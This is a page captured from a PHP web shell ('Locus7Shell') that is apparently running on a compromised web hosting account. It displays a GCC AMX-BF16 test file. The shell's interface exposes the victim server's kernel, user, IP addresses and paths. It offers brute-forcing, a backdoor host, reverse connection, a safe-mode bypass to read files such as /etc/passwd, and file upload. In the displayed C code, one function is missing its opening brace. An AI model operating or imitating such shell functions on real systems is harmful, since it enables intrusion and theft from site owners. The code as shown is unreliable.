Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/i386/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     amxbf16-dpbf16ps-2.c (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run { target { ! ia32 } } } */
/* { dg-require-effective-target amx_tile } */
/* { dg-require-effective-target amx_bf16 } */
/* { dg-options "-O2 -mamx-tile -mamx-bf16" } */
#include <immintrin.h>

#define AMX_BF16
#define DO_TEST test_amx_bf16_dpbf16ps
void test_amx_bf16_dpbf16ps ();
#include "amx-check.h"

/* Transformation functions between bf16/float */
static uint16_t make_bf16 (float f)
{
  union
  {
    float f;
    uint32_t u;
  } fu;
  fu.f = f;
  fu.u = (fu.u >> 16) & 0xffff;
  return (uint16_t) fu.u;
}

static float make_f32 (uint16_t bf)
{
  union
  {
    float f;
    uint32_t u;
  } fu;
  fu.u = (uint32_t) bf << 16;
  return fu.f;
}

/* Init tile buffer with bf16 pairs */
void init_bf16_max_tile_buffer (uint8_t *buf)

  int i, j;
  uint16_t *ptr = (uint16_t *)buf;

  for(i = 0; i < 16; i++)
    for(j = 0; j < 32; j++)
      {    
    float f = 16.1f * i + 3.4f * j;
    ptr[i * 32 + j] = make_bf16(f);
      }
}

void calc_matrix_dpbf16ps (__tile *dst, __tile *src1, __tile *src2)
{
  uint16_t *src1_buf = (uint16_t *)src1->buf;
  uint16_t *src2_buf = (uint16_t *)src2->buf;
  float *dst_buf = (float *)dst->buf;
  
  int M = src1->rows;
  int N = src1->colsb / 4;
  int K = src2->colsb / 4;
  int i, j, k, t;

  for (i = 0; i < M; i++)
    for (j = 0; j < N; j++)
      for (k = 0; k < K; k++)
    for (t = 0; t < 2; t+=2)
      {    
        dst_buf[i * N + k] += 
          (make_f32(src1_buf[i * 2 * N + 2 * j + t]) *
          make_f32(src2_buf[j * 2 * K + 2 * k + t])) +
          (make_f32(src1_buf[i * 2 * N + 2 * j + t + 1]) *
          make_f32(src2_buf[j * 2 * K + 2 * k + t + 1]));
      }

}

void test_amx_bf16_dpbf16ps ()
{
  __tilecfg_u cfg;
  __tile dst, dst_ref, src1, src2;
  uint8_t tmp_dst_buf[1024];

  init_bf16_max_tile_buffer (tmp_dst_buf);
  
  init_tile_config (&cfg);
  init_tile_reg_and_src_with_buffer (1, dst, tmp_dst_buf);
  init_tile_reg_and_src_with_buffer (2, src1, tmp_dst_buf);
  init_tile_reg_and_src_with_buffer (3, src2, tmp_dst_buf);

  calc_matrix_dpbf16ps (&dst, &src1, &src2);
  
  _tile_dpbf16ps (1, 2, 3);
  _tile_stored (1, dst_ref.buf, _STRIDE);

  if (!check_float_tile_register (&dst_ref, &dst))
        abort();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--